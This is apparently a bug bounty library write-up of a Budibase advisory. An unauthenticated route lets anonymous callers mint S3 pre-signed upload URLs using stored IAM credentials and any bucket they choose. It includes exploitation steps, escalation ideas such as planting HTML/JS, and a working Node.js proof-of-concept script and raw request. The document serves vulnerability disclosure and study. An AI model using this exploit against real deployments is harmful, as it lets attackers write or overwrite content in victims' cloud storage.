# Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials

Unauthenticated Budibase route mints S3 pre-signed PUT URLs using stored datasource IAM credentials, letting anonymous attackers write to any bucket those credentials reach.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: tonghuaroot
- Disclosed: 2026-06-22
- CVE: CVE-2026-50137
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-35c4-rvc8-frhm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-35c4-rvc8-frhm
- Tags: area:cloud domain:cloud domain:web impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:nodejs tech:s3 technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** POST /api/attachments/:datasourceId/url server route
**Root cause:** The route is registered with only the recaptcha middleware, omitting any authorized(...) check, and the controller builds an S3 client from the datasource's stored IAM credentials while accepting an attacker-controlled bucket/key.
**Steps:**
1. Identify a workspace id (`app_...`) and an S3-source datasource id (`ds_...`).
2. Send `POST /api/attachments/<datasourceId>/url` with header `x-budibase-app-id: <appId>`, a non-browser `User-Agent`, and body `{"bucket":"victim-bucket","key":"x.html"}`.
3. Receive 200 with `signedUrl` (15-min AWS SigV4 PutObject) and `publicUrl`.
4. PUT arbitrary bytes to `signedUrl`; object lands at `publicUrl` under the victim's IAM identity.
**How found:** Code review of route registrations noticed the asymmetry: every other mutating endpoint on static.ts carries authorized(...) but the signed-URL route only has recaptcha; traced controller to confirm credentials are used and bucket is unpinned, and noted the existing test only uses builder auth headers so no negative-auth test existed.
**Exploitation:** Anonymous attacker enumerates workspace and datasource ids, calls the endpoint with a chosen bucket/key, gets a pre-signed PUT URL scoped to the victim's stored credentials, and uploads arbitrary content to any bucket the IAM policy permits; response reveals publicUrl for later retrieval/serving.
**Escalation:** Attacker-controlled bucket parameter expands blast radius from the configured bucket to the full IAM policy; can plant HTML/JS at known paths or overwrite trusted keys.
**Insight:** On Koa/Express routers, diff middleware chains across sibling routes on the same router: a lone recaptcha (or CSRF) middleware where peers have authorized(...) is a strong missing-auth signal, and check whether the controller trusts request-body fields (bucket) that should be pinned to stored config.

## Proof of concept (copied exactly from the original report)

**Wire-level unauthenticated request minting signed URL**

```
POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1
Host: budibase.example:10000
x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Content-Type: application/json
User-Agent: budibase-poc/1.0
Content-Length: 36

{"bucket":"victim-bucket","key":"x.html"}
```

**PoC Node.js script for signed URL minting**

```
#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>

"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")

function postJson(targetUrl, headers, body) {
  return new Promise((resolve, reject) => {
    const u = new URL(targetUrl)
    const lib = u.protocol === "https:" ? https : http
    const payload = Buffer.from(JSON.stringify(body), "utf8")
    const req = lib.request(
      {
        method: "POST",
        protocol: u.protocol,
        hostname: u.hostname,
        port: u.port || (u.protocol === "https:" ? 443 : 80),
        path: u.pathname + u.search,
        headers: Object.assign(
          {
            "Content-Type": "application/json",
            "Content-Length": payload.length,
            // Deliberately not a recognised browser UA so the
            // currentWorkspace dev-preview redirect does not fire.
            "User-Agent": "budibase-poc/1.0",
          },
          headers || {}
        ),
      },
      res => {
        const chunks = []
        res.on("data", c => chunks.push(c))
        res.on("end", () =>
          resolve({
            status: res.statusCode,
            body: Buffer.concat(chunks).toString("utf8"),
          })
        )
      }
    )
    req.on("error", reject)
    req.write(payload)
    req.end()
  })
}

async function main() {
  const [baseUrl, appId, datasourceId] = process.argv.slice(2)
  if (!baseUrl || !appId || !datasourceId) {
    console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
    process.exit(2)
  }
  const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`
  const url = baseUrl.replace(/\/$/, "") +
    `/api/attachments/${encodeURIComponent(datasourceId)}/url`
  const resp = await postJson(
    url,
    { "x-budibase-app-id": appId },
    { bucket, key }
  )
  console.log(`HTTP ${resp.status}`)
  console.log(resp.body)
}

main().catch(err => {
  console.error(err)
  process.exit(1)
})
```

**Vulnerable route registration without authorized middleware**

```
router
  .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
  .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
  .post(
    "/api/attachments/:tableId/upload",
    recaptcha,
    paramResource("tableId"),
    authorized(PermissionType.TABLE, PermissionLevel.WRITE),
    controller.uploadFile
  )
  // ...
  .post(
    "/api/attachments/:datasourceId/url",
    recaptcha,
    controller.getSignedUploadURL                       // <- no authorized(...)
  )
```

